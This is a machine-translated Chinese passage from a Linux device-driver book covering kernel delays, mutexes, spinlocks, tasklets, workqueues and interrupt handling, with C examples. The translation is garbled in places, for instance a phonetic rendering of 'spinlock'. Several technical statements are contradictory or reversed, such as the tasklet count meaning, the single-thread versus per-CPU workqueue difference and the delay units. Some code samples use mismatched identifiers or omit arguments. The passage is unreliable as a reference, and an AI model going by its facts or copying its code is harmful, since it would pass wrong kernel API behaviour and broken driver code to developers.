-在引擎盖下,内核还维护一个任务超时列表(然后它知道什么时候和多长时间它必须休眠)。在空闲状态下,如果下一个刻度比任务列表超时中的最低超时更远,内核将使用该超时值对计时器进行编程。当定时器到期时,内核重新启用周期性的滴答并调用调度器,然后调度器调度与超时相关的任务。这就是备忘录内核如何消除周期性的勾号,并在空闲时省电。 - -# 内核中的延迟和睡眠 - -在不深入细节的情况下,有两种类型的延迟,这取决于代码运行的环境:原子的或非原子的。处理内核延迟的强制头是`#include .` - -# 原子上下文 - -原子上下文中的任务(如 ISR)无法休眠,也无法调度;这就是为什么在原子上下文中使用忙等待循环来延迟的原因。内核公开了`Xdelay`系列函数,这些函数将在一个繁忙的循环中花费足够长的时间(基于 jiffies)来实现期望的延迟: - -* `ndelay(unsigned long nsecs)` -* `udelay(unsigned long usecs)` -* `mdelay(unsigned long msecs)` - -您应该始终使用`udelay()`,因为`ndelay()`的精度取决于您的硬件定时器的精度(在嵌入式 SOC 上并不总是如此)。也不鼓励使用`mdelay()`。 - -计时器处理程序(回调)在原子上下文中执行,这意味着根本不允许休眠。我所说的*睡眠*,是指任何可能导致调用者进入睡眠状态的函数,比如分配内存、锁定互斥体、对`sleep()`函数的显式调用等等。 - -# 非原子上下文 - -在非原子环境中,内核提供了`sleep[_range]`函数族,使用哪个函数取决于您需要延迟多长时间: - -* `udelay(unsigned long usecs)`:基于繁忙等待循环。如果需要睡眠几秒钟(< ~10 us),应该使用此功能。 -* `usleep_range(unsigned long min, unsigned long max)`:依赖 hrtimers,建议让这个休眠几~秒或者小毫秒(10 us - 20 ms),避免`udelay()`的忙-等循环。 -* `msleep(unsigned long msecs)`:由 jiffies/legacy_timers 支持。您应该将此用于更大的 msecs 睡眠(10 ms+)。 - -Sleep and delay topics are well explained in *Documentation/timers/timers-howto.txt* in the kernel source. - -# 内核锁定机制 - -锁定是一种有助于在不同线程或进程之间共享资源的机制。共享资源是至少两个用户可以同时或不同时访问的数据或设备。锁定机制防止滥用访问,例如,一个进程在另一个进程在同一位置读取数据时写入数据,或者两个进程访问同一设备(例如,同一 GPIO)。内核提供了几种锁定机制。最重要的是: - -* 互斥(体)… -* 旗语 -* 斯宾洛克 - -我们将只了解互斥体和自旋锁,因为它们广泛用于设备驱动。 - -# 互斥(体)… - -**互斥** ( **互斥**)是事实上使用最多的锁定机制。为了理解它是如何工作的,让我们看看它的结构在`include/linux/mutex.h`中是什么样子的: - -```sh -struct mutex { - /* 1: unlocked, 0: locked, negative: locked, possible waiters */ - atomic_t count; - spinlock_t wait_lock; - struct list_head wait_list; - [...] -}; -``` - -正如我们在*等待队列*部分看到的,结构中还有一个`list`类型字段:`wait_list`。睡觉的原理是一样的。 - -竞争者被从调度器运行队列中移除,并被放入处于睡眠状态的等待列表(`wait_list`)中。然后内核调度并执行其他任务。当锁被释放时,等待队列中的服务员被唤醒,移出`wait_list`,并被安排返回。 - -# 互斥 API - -使用互斥只需要几个基本功能: - -# 声明 - -* 静态: - -```sh -DEFINE_MUTEX(my_mutex); -``` - -* 动态地: - -```sh -struct mutex my_mutex; -mutex_init(&my_mutex); -``` - -# 获取和发布 - -* 锁定: - -```sh -void mutex_lock(struct mutex *lock); -int mutex_lock_interruptible(struct mutex *lock); -int mutex_lock_killable(struct mutex *lock); -``` - -* 解锁: - -```sh -void mutex_unlock(struct mutex *lock); -``` - -有时,您可能只需要检查互斥体是否被锁定。为此,您可以使用`int mutex_is_locked(struct mutex *lock)`功能。 - -```sh -int mutex_is_locked(struct mutex *lock); -``` - -这个函数所做的只是检查互斥体的所有者是否为空(`NULL`)。还有`mutex_trylock`,如果还没有锁定就获取互斥,返回`1`;否则,返回`0`: - -```sh -int mutex_trylock(struct mutex *lock); -``` - -与等待队列的可中断系列功能一样,推荐的`mutex_lock_interruptible()`将导致驱动能够被任何信号中断,而对于`mutex_lock_killable()`,只有终止进程的信号才能中断驱动。 - -使用`mutex_lock()`要非常小心,在可以保证互斥量会被释放的时候使用,不管发生什么。在用户上下文中,建议您总是使用`mutex_lock_interruptible()`来获取互斥体,因为如果收到信号`mutex_lock()`将不会返回(即使是 c *trl + c* )。 - -下面是一个互斥实现的例子: - -```sh -struct mutex my_mutex; -mutex_init(&my_mutex); - -/* inside a work or a thread */ -mutex_lock(&my_mutex); -access_shared_memory(); -mutex_unlock(&my_mutex); -``` - -请看一下内核源码中的`include/linux/mutex.h`,看看互斥体必须遵守的严格规则。以下是其中的一些: - -* 一次只能有一个任务持有互斥体;这实际上不是规则,而是事实 -* 不允许多重解锁 -* 它们必须通过应用编程接口进行初始化 -* 持有互斥锁的任务可能不会退出,因为互斥锁将保持锁定,可能的竞争者将永远等待(休眠) -* 不得释放持有锁所在的内存区域 -* 不得重新初始化保留的互斥体 -* 由于它们涉及重新调度,互斥体可能不会在原子上下文中使用,例如小任务和定时器 - -As with `wait_queue`, there is no polling mechanism with mutexes. Every time that `mutex_unlock` is called on a mutex, the kernel checks for waiters in `wait_list`. If any, one (and only one) of them is awakened and scheduled; they are woken in the same order in which they were put to sleep. - -# 斯宾洛克 - -像互斥一样,自旋锁是一种互斥机制;它只有两种状态: - -* 锁定(紧急) -* 解锁(释放) - -任何需要获取自旋锁的线程都将激活循环,直到获取锁,从而脱离循环。这就是互斥体和自旋锁不同的地方。由于自旋锁在循环时会大量消耗 CPU,因此应该将其用于非常快速的获取,尤其是当持有自旋锁的时间少于重新调度的时间时。关键任务完成后,应该立即释放自旋锁。 - -为了避免通过调度一个可能旋转的线程来浪费 CPU 时间,尝试获取由从运行队列中移出的另一个线程持有的锁,只要持有旋转锁的代码正在运行,内核就禁用抢占。在禁用抢占的情况下,我们防止自旋锁持有人被移出运行队列,这可能导致等待进程长时间旋转并消耗 CPU。 - -只要一个人持有自旋锁,其他任务就可能在等待它的时候旋转。通过使用 spinlock,您可以断言并保证它不会被长期持有。你可以说,在一个循环中旋转,浪费 CPU 时间,比睡眠你的线程,上下文转移到另一个线程或进程,然后被唤醒的成本更好。在处理器上旋转意味着没有其他任务可以在该处理器上运行;那么在单核机器上使用 spinlock 就没有意义了。在最好的情况下,你会让系统变慢;在最坏的情况下,你会死锁,就像互斥一样。由于这个原因,内核只是在单处理器上响应`spin_lock(spinlock_t *lock)`功能禁用抢占。在单处理器(核心)系统上,应该使用`spin_lock_irqsave()`和`spin_unlock_irqrestore()`,这两个选项将分别禁用 CPU 上的中断,防止中断并发。 - -由于您事先不知道您将为哪个系统编写驱动,建议您使用`spin_lock_irqsave(spinlock_t *lock, unsigned long flags)`获取一个自旋锁,在获取自旋锁之前禁用当前处理器(调用它的处理器)上的中断。`spin_lock_irqsave`内部调用`local_irq_save(flags);`,这是一个依赖于架构的函数,用于保存 IRQ 状态,而`preempt_disable()`用于禁用相关 CPU 上的抢占。然后,您应该使用`spin_unlock_irqrestore()`释放锁,这与我们之前列举的操作相反。这是一个可以锁定获取和释放的代码。它是一个 IRQ 处理程序,但是让我们只关注锁方面。我们将在下一节讨论更多关于 IRQ 处理程序的内容: - -```sh -/* some where */ -spinlock_t my_spinlock; -spin_lock_init(my_spinlock); - -static irqreturn_t my_irq_handler(int irq, void *data) -{ - unsigned long status, flags; - - spin_lock_irqsave(&my_spinlock, flags); - status = access_shared_resources(); - - spin_unlock_irqrestore(&gpio->slock, flags); - return IRQ_HANDLED; -} -``` - -# 自旋锁与互斥锁 - -用于内核中的并发,自旋锁和互斥锁都有自己的目标: - -* 互斥体保护进程的关键资源,而自旋锁保护 IRQ 处理程序的关键部分 -* 互斥锁让竞争者休眠,直到获得锁,而自旋锁在循环中无限旋转(消耗 CPU),直到获得锁 -* 由于前一点,您不能长时间持有自旋锁,因为等待者会浪费 CPU 时间来等待锁,而互斥锁只要资源需要保护就可以持有,因为竞争者在等待队列中处于休眠状态 - -When dealing with spinlocks, please keep in mind that preemption is disabled only for threads holding spinlocks, not for spinning waiters. - -# 工作延期机制 - -延期是一种方法,通过它你可以安排一项工作在将来执行。这是一种稍后报告行动的方式。显然,内核提供了实现这种机制的工具;它允许您推迟函数的调用和执行,不管它们是什么类型。内核中有三个: - -* **软指令**:在原子上下文中执行 -* **小任务**:在原子上下文中执行 -* **工作队列**:在流程上下文中执行 - -# Softirqs 和 ksoftirqd - -**软件 IRQ** ( **软件 irq** )或软件中断是一种延迟机制,仅用于非常快速的处理,因为它在禁用的调度程序下运行(在中断上下文中)。你很少(几乎永远不会)想直接和 softirq 打交道。只有网络和块设备子系统使用 softirq。小任务是 soft IRQ 的一个实例,在你觉得需要使用 soft IRQ 的几乎所有情况下都足够了。 - -# ksoftirqd(德国) - -在大多数情况下,软 IRQ 是在硬件中断中调度的,这可能会非常快地到达,比它们能够被服务的速度更快。然后它们被内核排队,以便以后处理。 **Ksoftirqds** 负责延迟执行(这次是流程上下文)。ksoftirqd 是为处理未服务的软件中断而引发的每 CPU 内核线程: - -![](img/00010.jpeg) - -在我的个人电脑上的上述`top`示例中,您可以看到`ksoftirqd/n`条目,其中`n`是 ksoftirqd 运行的 CPU 号。消耗 CPU 的 ksoftirqd 可能表示系统过载或**中断风暴**下的系统,这从来都不是好事。你可以看看`kernel/softirq.c`看看 ksoftirqds 是怎么设计的。 - -# 小任务 - -小任务是建立在 softirqs 之上的下半部分(我们将在后面看到这意味着什么)机制。它们在内核中被表示为结构`tasklet_struct`的实例: - -```sh -struct tasklet_struct -{ - struct tasklet_struct *next; - unsigned long state; - atomic_t count; - void (*func)(unsigned long); - unsigned long data; -}; -``` - -小任务本质上是不可重入的。如果一个代码在执行过程中可以在任何地方被中断,然后被安全地再次调用,那么这个代码就叫做可重入代码。小任务的设计使得一个小任务可以同时在一个且只有一个 CPU 上运行(甚至在 SMP 系统上),该 CPU 是它被调度的 CPU,但是不同的小任务可以同时在不同的 CPU 上运行。小任务应用编程接口非常基本和直观。 - -# 声明小任务 - -* 动态地: - -```sh -void tasklet_init(struct tasklet_struct *t, - void (*func)(unsigned long), unsigned long data); -``` - -* 静态: - -```sh -DECLARE_TASKLET( tasklet_example, tasklet_function, tasklet_data ); -DECLARE_TASKLET_DISABLED(name, func, data); -``` - -这两种功能有一个区别;前者通过将`count`字段设置为`0`来创建一个已经启用并准备好进行调度的小任务,而后者通过将`count`设置为`1`来创建一个被禁用的小任务,在小任务可调度之前,必须在其上调用`tasklet_enable()`: - -```sh -#define DECLARE_TASKLET(name, func, data) \ - struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(0), func, data } - -#define DECLARE_TASKLET_DISABLED(name, func, data) \ - struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(1), func, data } -``` - -在全局范围内,将`count`字段设置为`0`意味着小任务被禁用且无法执行,而非零值则意味着相反。 - -# 启用和禁用小任务 - -启用小任务有一个功能: - -```sh -void tasklet_enable(struct tasklet_struct *); -``` - -`tasklet_enable`简单启用小任务。在旧的内核版本中,您可能会发现使用了 void `tasklet_hi_enable(struct tasklet_struct *)`,但是这两个函数做的完全一样。要禁用小任务,请调用: - -```sh -void tasklet_disable(struct tasklet_struct *); -``` - -您也可以拨打: - -```sh -void tasklet_disable_nosync(struct tasklet_struct *); -``` - -`tasklet_disable`将禁用小任务,仅当小任务终止执行时(如果它正在运行)才返回,而`tasklet_disable_nosync`会立即返回,即使终止没有发生。 - -# 小任务调度 - -根据小任务的优先级是正常还是更高,小任务有两种调度功能: - -```sh -void tasklet_schedule(struct tasklet_struct *t); -void tasklet_hi_schedule(struct tasklet_struct *t); -``` - -内核在两个不同的列表中维护正常优先级和高优先级的小任务。`tasklet_schedule`将小任务添加到正常优先级列表中,用`TASKLET_SOFTIRQ`标志调度相关的软任务。通过`tasklet_hi_schedule`,小任务被添加到高优先级列表中,用`HI_SOFTIRQ`标志调度相关的软任务。高优先级小任务旨在用于低延迟要求的软中断处理程序。您应该知道与小任务相关的一些属性: - -* 对已经调度但尚未开始执行的小任务调用`tasklet_schedule`不会有任何作用,导致小任务只执行一次。 -* `tasklet_schedule`可以在小任务中调用,意味着小任务可以自己重新调度。 -* 高优先级的小任务总是在正常任务之前执行。滥用高优先级任务会增加系统延迟。只用于真正快速的事情。 - -您可以使用`tasklet_kill`功能停止小任务,该功能将阻止小任务再次运行,或者如果小任务当前计划运行,请等待其完成后再将其终止: - -```sh -void tasklet_kill(struct tasklet_struct *t); -``` - -让我们检查一下。请看下面的例子: - -```sh -#include -#include -#include /* for tasklets API */ - -char tasklet_data[]="We use a string; but it could be pointer to a structure"; - -/* Tasklet handler, that just print the data */ -void tasklet_work(unsigned long data) -{ - printk("%s\n", (char *)data); -} - -DECLARE_TASKLET(my_tasklet, tasklet_function, (unsigned long) tasklet_data); - -static int __init my_init(void) -{ - /* - * Schedule the handler. - * Tasklet arealso scheduled from interrupt handler - */ - tasklet_schedule(&my_tasklet); - return 0; -} - -void my_exit(void) -{ - tasklet_kill(&my_tasklet); -} - -module_init(my_init); -module_exit(my_exit); -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -# 工作队列 - -自从 Linux 内核 2.6 以来,最常用和最简单的延迟机制是工作队列。这是我们将在本章中讨论的最后一个问题。作为一种延迟机制,它采取了与我们所看到的其他机制相反的方法,只在可抢占的上下文中运行。当你需要睡在下半身时,这是唯一的选择(我将在下一节稍后解释什么是下半身)。我所说的睡眠是指处理输入/输出数据、保持互斥体、延迟以及所有其他可能导致睡眠或将任务移出运行队列的任务。 - -请记住,工作队列是建立在内核线程之上的,这就是我决定不把内核线程作为一种延迟机制的原因。然而,在内核中有两种方法来处理工作队列。首先,有一个默认的共享工作队列,由一组内核线程处理,每个线程运行在一个中央处理器上。一旦有了要调度的工作,就将该工作排队到全局工作队列中,该队列将在适当的时候执行。另一种方法是在专用内核线程中运行工作队列。这意味着每当需要执行您的工作队列处理程序时,您的内核线程都会被唤醒来处理它,而不是默认的预定义线程。 - -要调用的结构和函数是不同的,这取决于您选择的是共享工作队列还是专用工作队列。 - -# 内核-全局工作队列-共享队列 - -除非你别无选择,或者你需要关键的性能,或者你需要控制从工作队列初始化到工作调度的一切,如果你只是偶尔提交任务,你应该使用内核提供的共享工作队列。由于该队列在系统上共享,您应该很友好,不应该长时间独占该队列。 - -由于队列中挂起任务的执行是在每个 CPU 上序列化的,所以您不应该长时间睡眠,因为在您醒来之前,队列中没有其他任务会运行。你甚至不知道你和谁共享工作队列,所以如果你的任务需要更长的时间来获得 CPU,不要感到惊讶。共享工作队列中的工作在内核创建的名为 events/n 的每 CPU 线程中执行。 - -在这种情况下,工作也必须用`INIT_WORK`宏初始化。因为我们将使用共享工作队列,所以不需要创建工作队列结构。我们只需要将作为参数传递的`work_struct`结构。有三种功能可以调度共享工作队列上的工作: - -* 将工作与当前中央处理器相关联的版本: - -```sh -int schedule_work(struct work_struct *work); -``` - -* 相同但延迟的功能: - -```sh -static inline bool schedule_delayed_work(struct delayed_work *dwork, - unsigned long delay) -``` - -* 实际调度给定 CPU 上的工作的函数: - -```sh -int schedule_work_on(int cpu, struct work_struct *work); -``` - -* 与前面显示的相同,但有一个延迟: - -```sh -int scheduled_delayed_work_on(int cpu, struct delayed_work *dwork, unsigned long delay); -``` - -所有这些函数都将作为参数给出的工作调度到系统的共享工作队列`system_wq`,在`kernel/workqueue.c`中定义: - -```sh -struct workqueue_struct *system_wq __read_mostly; -EXPORT_SYMBOL(system_wq); -``` - -已经提交到共享队列的工作可以通过`cancel_delayed_work`功能取消。您可以使用以下命令刷新共享工作队列: - -```sh -void flush_scheduled_work(void); -``` - -由于队列是在系统上共享的,人们无法真正知道`flush_scheduled_work()`在返回之前会持续多长时间: - -```sh -#include -#include -#include /* for sleep */ -#include /* for wait queue */ -#include -#include -#include /* for kmalloc() */ -#include - -//static DECLARE_WAIT_QUEUE_HEAD(my_wq); -static int sleep = 0; - -struct work_data { - struct work_struct my_work; - wait_queue_head_t my_wq; - int the_data; -}; - -static void work_handler(struct work_struct *work) -{ - struct work_data *my_data = container_of(work, \ - struct work_data, my_work); - printk("Work queue module handler: %s, data is %d\n", __FUNCTION__, my_data->the_data); - msleep(2000); - wake_up_interruptible(&my_data->my_wq); - kfree(my_data); -} - -static int __init my_init(void) -{ - struct work_data * my_data; - - my_data = kmalloc(sizeof(struct work_data), GFP_KERNEL); - my_data->the_data = 34; - - INIT_WORK(&my_data->my_work, work_handler); - init_waitqueue_head(&my_data->my_wq); - - schedule_work(&my_data->my_work); - printk("I'm goint to sleep ...\n"); - wait_event_interruptible(my_data->my_wq, sleep != 0); - printk("I am Waked up...\n"); - return 0; -} - -static void __exit my_exit(void) -{ - printk("Work queue module exit: %s %d\n", __FUNCTION__, __LINE__); -} - -module_init(my_init); -module_exit(my_exit); -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Shared workqueue"); -``` - -In order to pass data to my work queue handler, you may have noticed that in both examples, I've embedded my `work_struct` structure inside my custom data structure, and used `container_of` to retrieve it. It is the common way to pass data to the work queue handler. - -# 专用工作队列 - -这里,工作队列被表示为`struct workqueue_struct`的一个实例。要排入工作队列的工作被表示为`struct work_struct`的一个实例。在自己的内核线程中安排工作之前,有四个步骤: - -1. 声明/初始化一个`struct workqueue_struct`。 -2. 创建您的工作函数。 -3. 创建一个`struct work_struct`,这样你的功函数就会嵌入其中。 -4. 将您的工作功能嵌入到`work_struct`中。 - -# 编程语法 - -`include/linux/workqueue.h`中定义了以下功能: - -* 申报工作和工作队列: - -```sh -struct workqueue_struct *myqueue; -struct work_struct thework; -``` - -* 定义工作函数(处理程序): - -```sh -void dowork(void *data) { /* Code goes here */ }; -``` - -* 初始化我们的工作队列,并将我们的工作嵌入到: - -```sh -myqueue = create_singlethread_workqueue( "mywork" ); -INIT_WORK( &thework, dowork, ); -``` - -我们也可以通过一个名为`create_workqueue`的宏来创建我们的工作队列。`create_workqueue`和`create_singlethread_workqueue`的区别在于前者将创建一个工作队列,而后者将在每个可用的处理器上创建一个独立的内核线程。 - -* 计划工作: - -```sh -queue_work(myqueue, &thework); -``` - -给定工作线程的给定延迟后排队: - -```sh - queue_dalayed_work(myqueue, &thework, ); -``` - -如果工作已经在队列中,这些函数返回`false`,否则返回`true`。`delay`表示排队前等待的秒数。您可以使用辅助功能`msecs_to_jiffies`将标准毫秒延迟转换为吉菲兹。例如,要在 5 毫秒后排队工作,可以使用`queue_delayed_work(myqueue, &thework, msecs_to_jiffies(5));`。 - -* 等待给定工作队列中的所有挂起工作: - -```sh -void flush_workqueue(struct workqueue_struct *wq) -``` - -`flush_workqueue`休眠,直到所有排队的工作完成执行。新的传入(排队)工作不会影响睡眠。通常可以在驱动关闭处理程序中使用它。 - -* 清理: - -使用`cancel_work_sync()`或`cancel_delayed_work_sync`进行同步取消,如果还没有运行的话会取消工作,或者一直阻塞到工作完成。这项工作即使重新要求也将被取消。您还必须确保在处理程序返回之前,工作最后排队的工作队列不会被破坏。这些功能将分别用于未显示或延迟的工作: - -```sh -int cancel_work_sync(struct work_struct *work); -int cancel_delayed_work_sync(struct delayed_work *dwork); -``` - -从 Linux 内核 v4.8 开始,可以使用`cancel_work`或`cancel_delayed_work`,这是取消的异步形式。必须检查函数是否返回 true 或 no,并确保工作本身不会重新查询。然后,您必须显式刷新工作队列: - -```sh -if ( !cancel_delayed_work( &thework) ){ -flush_workqueue(myqueue); -destroy_workqueue(myqueue); -} -``` - -另一个是同一方法的不同版本,将只为所有处理器创建一个线程。如果在工作入队之前需要延迟,可以使用以下工作初始化宏: - -```sh -INIT_DELAYED_WORK(_work, _func); -INIT_DELAYED_WORK_DEFERRABLE(_work, _func); -``` - -使用前面的宏意味着您应该使用以下函数来对工作队列中的工作进行排队或调度: - -```sh -int queue_delayed_work(struct workqueue_struct *wq, - struct delayed_work *dwork, unsigned long delay) -``` - -`queue_work`将工作绑定到当前的 CPU。您可以使用`queue_work_on`功能指定处理器运行的中央处理器: - -```sh -int queue_work_on(int cpu, struct workqueue_struct *wq, - struct work_struct *work); -``` - -对于延迟工作,您可以使用: - -```sh -int queue_delayed_work_on(int cpu, struct workqueue_struct *wq, - struct delayed_work *dwork, unsigned long delay); -``` - -以下是使用专用工作队列的示例: - -```sh -#include -#include -#include /* for work queue */ -#include /* for kmalloc() */ - -struct workqueue_struct *wq; - -struct work_data { - struct work_struct my_work; - int the_data; -}; - -static void work_handler(struct work_struct *work) -{ - struct work_data * my_data = container_of(work, - struct work_data, my_work); - printk("Work queue module handler: %s, data is %d\n", - __FUNCTION__, my_data->the_data); - kfree(my_data); -} - -static int __init my_init(void) -{ - struct work_data * my_data; - - printk("Work queue module init: %s %d\n", - __FUNCTION__, __LINE__); - wq = create_singlethread_workqueue("my_single_thread"); - my_data = kmalloc(sizeof(struct work_data), GFP_KERNEL); - - my_data->the_data = 34; - INIT_WORK(&my_data->my_work, work_handler); - queue_work(wq, &my_data->my_work); - - return 0; -} - -static void __exit my_exit(void) -{ - flush_workqueue(wq); - destroy_workqueue(wq); - printk("Work queue module exit: %s %d\n", - __FUNCTION__, __LINE__); -} - -module_init(my_init); -module_exit(my_exit); -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu "); -``` - -# 预定义(共享)工作队列和标准工作队列功能 - -预定义的工作队列在`kernel/workqueue.c`中定义如下: - -```sh -struct workqueue_struct *system_wq __read_mostly; -``` - -它只不过是一个标准的工作,内核为它提供了一个定制的 API,简单地包装了标准的 API。 - -内核预定义工作队列函数和标准工作队列函数之间的比较如下: - -| **预定义工作队列功能** | **等效标准工作队列功能** | -| `schedule_work(w)` | `queue_work(keventd_wq,w)` | -| `schedule_delayed_work(w,d)` | `queue_delayed_work(keventd_wq,w,d)`(在任何 CPU 上) | -| `schedule_delayed_work_on(cpu,w,d)` | `queue_delayed_work(keventd_wq,w,d)`(在给定的中央处理器上) | -| `flush_scheduled_work()` | `flush_workqueue(keventd_wq)` | - -# 内核线程 - -工作队列运行在内核线程之上。当您使用工作队列时,您已经使用了内核线程。这就是我决定不谈内核线程 API 的原因。 - -# 内核中断机制 - -中断是设备停止内核的方式,告诉它发生了有趣或重要的事情。这些在 Linux 系统上被称为 IRQs。中断提供的主要优势是避免设备轮询。由设备来判断其状态是否有变化;我们无权投票决定。 - -为了在中断发生时得到通知,您需要注册到该 IRQ,提供一个名为中断处理程序的函数,每次引发中断时都会调用该函数。 - -# 注册中断处理程序 - -当您感兴趣的中断(或中断线路)被触发时,您可以注册一个回调来运行。您可以通过在``中声明的功能`request_irq()`来实现: - -```sh -int request_irq(unsigned int irq, irq_handler_t handler, - unsigned long flags, const char *name, void *dev) -``` - -`request_irq()`可能失败,成功返回`0`。前面代码的其他元素详述如下: - -* `flags`:这些应该是``中定义的掩码的位掩码。使用最多的是: - * `IRQF_TIMER:`通知内核该处理程序是由系统定时器中断发起的。 - * `IRQF_SHARED:`用于可由两个或多个设备共享的中断线路。共享同一线路的每个设备都必须设置此标志。如果省略,则只能为指定的 IRQ 行注册一个处理程序。 - * `IRQF_ONESHOT:`主要用于螺纹 IRQ。它指示内核在 hardirq 处理程序完成时不要重新启用中断。在线程处理程序运行之前,它将保持禁用状态。 - * 在旧的内核版本中(直到 v2.6.35),有`IRQF_DISABLED`标志,它要求内核在处理程序运行时禁用所有中断。此标志不再使用。 -* `name`:这是内核在`/proc/interrupts`和`/proc/irq`T3 中用来识别你的驱动的。 -* `dev`:它的主要目标是作为参数传递给处理程序。这对于每个注册的处理程序应该是唯一的,因为它用于识别设备。非共享 IRQ 可以是`NULL`,共享 IRQ 不可以。使用它的常见方式是提供一个`device`结构,因为它既独特又可能对处理者有用。也就是说,指向任何每设备数据结构的指针就足够了: - -```sh -struct my_data { - struct input_dev *idev; - struct i2c_client *client; - char name[64]; - char phys[32]; - }; - - static irqreturn_t my_irq_handler(int irq, void *dev_id) - { - struct my_data *md = dev_id; - unsigned char nextstate = read_state(lp); - /* Check whether my device raised the irq or no */ - [...] - return IRQ_HANDLED; - } - - /* some where in the code, in the probe function */ - int ret; - struct my_data *md; - md = kzalloc(sizeof(*md), GFP_KERNEL); - - ret = request_irq(client->irq, my_irq_handler, - IRQF_TRIGGER_LOW | IRQF_ONESHOT, - DRV_NAME, md); - - /* far in the release function */ - free_irq(client->irq, md); -``` - -* `handler`:这是触发中断时会运行的回调函数。中断处理程序的结构类似于: - -```sh -static irqreturn_t my_irq_handler(int irq, void *dev) -``` - -* 它包含以下代码元素: - * `irq`:IRQ 的数值(与`request_irq`中使用的相同)。 - * `dev`:与`request_irq`中使用的相同。 - -这两个参数都是由内核给你的处理器的。处理程序只能返回两个值,具体取决于您的设备是否发起了 IRQ: - -* `IRQ_NONE`:你的设备不是中断的发起者(尤其是在共享的 IRQ 线路上) -* `IRQ_HANDLED`:您的设备导致了中断 - -根据处理的不同,可以使用`IRQ_RETVAL(val)`宏,如果值不为零,将返回`IRQ_HANDLED`,否则返回`IRQ_NONE`。 - -When writing the interrupt handler, you don't have to worry about reentrancy, since the IRQ line serviced is disabled on all processors by the kernel in order to avoid recursive interrupt. - -释放先前注册的处理程序的相关函数是: - -```sh -void free_irq(unsigned int irq, void *dev) -``` - -如果指定的 IRQ 未共享,`free_irq`不仅会删除处理程序,还会禁用线路。如果是共享的,只有通过`dev`识别的处理程序(应该和`request_irq`中使用的一样)被删除,但中断线路仍然保留,只有在最后一个处理程序被删除时才会被禁用。`free_irq`将阻塞,直到指定 IRQ 的任何执行中断完成。然后,您必须在中断上下文中避免使用`request_irq`和`free_irq`。 - -# 中断处理程序和锁 - -不言而喻,您处于原子上下文中,必须只使用自旋锁来实现并发。每当有全局数据可由两个用户代码访问时(用户任务;即系统调用)和中断代码,这种共享数据应该由用户代码中的`spin_lock_irqsave()`保护。让我们看看为什么我们不能只使用`spin_lock.`一个中断处理程序在用户任务上总是有优先权的,即使那个任务持有一个自旋锁。仅仅禁用 IRQ 是不够的。中断可能发生在另一个中央处理器上。如果更新数据的用户任务被试图访问相同数据的中断处理程序中断,那将是一场灾难。使用`spin_lock_irqsave()`将禁用本地中央处理器上的所有中断,防止系统调用被任何类型的中断中断: - -```sh -ssize_t my_read(struct file *filp, char __user *buf, size_t count, - loff_t *f_pos) -{ - unsigned long flags; - /* some stuff */ - [...] - unsigned long flags; - spin_lock_irqsave(&my_lock, flags); - data++; - spin_unlock_irqrestore(&my_lock, flags) - [...] -} - -static irqreturn_t my_interrupt_handler(int irq, void *p) -{ - /* - * preemption is disabled when running interrupt handler - * also, the serviced irq line is disabled until the handler has completed - * no need then to disable all other irq. We just use spin_lock and - * spin_unlock - */ - spin_lock(&my_lock); - /* process data */ - [...] - spin_unlock(&my_lock); - return IRQ_HANDLED; -} -``` - -当在不同的中断处理程序之间共享数据时(也就是说,同一驱动管理两个或多个设备,每个设备都有自己的 IRQ 线路),还应该用这些处理程序中的`spin_lock_irqsave()`来保护该数据,以防止其他 IRQ 被触发并无用地旋转。 - -# 下半部的概念 - -下半部分是将中断处理程序分成两部分的机制。这引入了另一个术语,即上半部分。在讨论它们之前,让我们先谈谈它们的起源,以及它们解决了什么问题。 - -# 问题–中断处理程序设计限制 - -无论中断处理程序是否持有自旋锁,在运行该处理程序的中央处理器上,抢占都是禁用的。在处理程序中浪费的时间越多,分配给其他任务的 CPU 就越少,这可能会大大增加其他中断的延迟,从而增加整个系统的延迟。挑战在于尽快确认引发中断的设备,以保持系统响应。 - -在 Linux 系统上(实际上是在所有 OS 上,通过硬件设计),任何中断处理程序在运行时,其当前的中断线路在所有处理器上都被禁用,有时您可能需要禁用实际运行该处理程序的 CPU 上的所有中断,但您肯定不想错过中断。为了满足这一需求,引入了*两半*的概念。 - -# 解决方案——下半部分 - -这个想法包括将处理程序分成两部分: - -* 第一部分称为上半部分或硬 IRQ,它是使用`request_irq()`注册的函数,最终将根据需要屏蔽/隐藏中断(在当前的中央处理器上,除了正在服务的中断,因为它在运行处理程序之前已经被内核禁用),执行快速和快速的操作(本质上是对时间敏感的任务、读/写硬件寄存器和对该数据的快速处理),调度第二部分和下一部分,然后确认该行。所有被禁用的中断必须在退出下半部分之前重新启用。 -* 第二部分称为下半部分,将处理耗时的东西,并在中断重新启用的情况下运行。这样,你就有机会不错过一个中断。 - -下半部分使用我们之前看到的工作延迟机制来设计。根据您选择的方式,它可能在(软件)中断上下文或进程上下文中运行。下半部分的机制是: - -* 软中断 -* 小任务 -* 工作队列 -* 线程 IRQ - -Softirqs 和小任务在(软件)中断上下文中执行(意味着抢占被禁用),Workqueues 和线程 irqs 在进程(或简称为任务)上下文中执行,可以被抢占,但没有什么能阻止我们更改它们的实时属性以适应您的需求并更改它们的抢占行为(参见`CONFIG_PREEMPT`或`CONFIG_PREEMPT_VOLUNTARY.`这也会影响整个系统)。下半部分并不总是可能的。但在可能的情况下,这肯定是最好的做法。 - -# 作为下半部分的小任务 - -小任务延迟机制最常用于 DMA、网络和块设备驱动。只需在内核源代码中尝试以下命令: - -```sh - grep -rn tasklet_schedule -``` - -现在让我们看看如何在中断处理程序中实现这样的机制: - -```sh -struct my_data { - int my_int_var; - struct tasklet_struct the_tasklet; - int dma_request; -}; - -static void my_tasklet_work(unsigned long data) -{ - /* Do what ever you want here */ -} - -struct my_data *md = init_my_data; - -/* somewhere in the probe or init function */ -[...] - tasklet_init(&md->the_tasklet, my_tasklet_work, - (unsigned long)md); -[...] - -static irqreturn_t my_irq_handler(int irq, void *dev_id) -{ - struct my_data *md = dev_id; - - /* Let's schedule our tasklet */ - tasklet_schedule(&md.dma_tasklet); - - return IRQ_HANDLED; -} -``` - -在前面的示例中,我们的小任务将执行函数`my_tasklet_work()`。 - -# 作为下半部分的工作队列 - -让我们从一个示例开始: - -```sh -static DECLARE_WAIT_QUEUE_HEAD(my_wq); /* declare and init the wait queue */ -static struct work_struct my_work; - -/* some where in the probe function */ -/* - * work 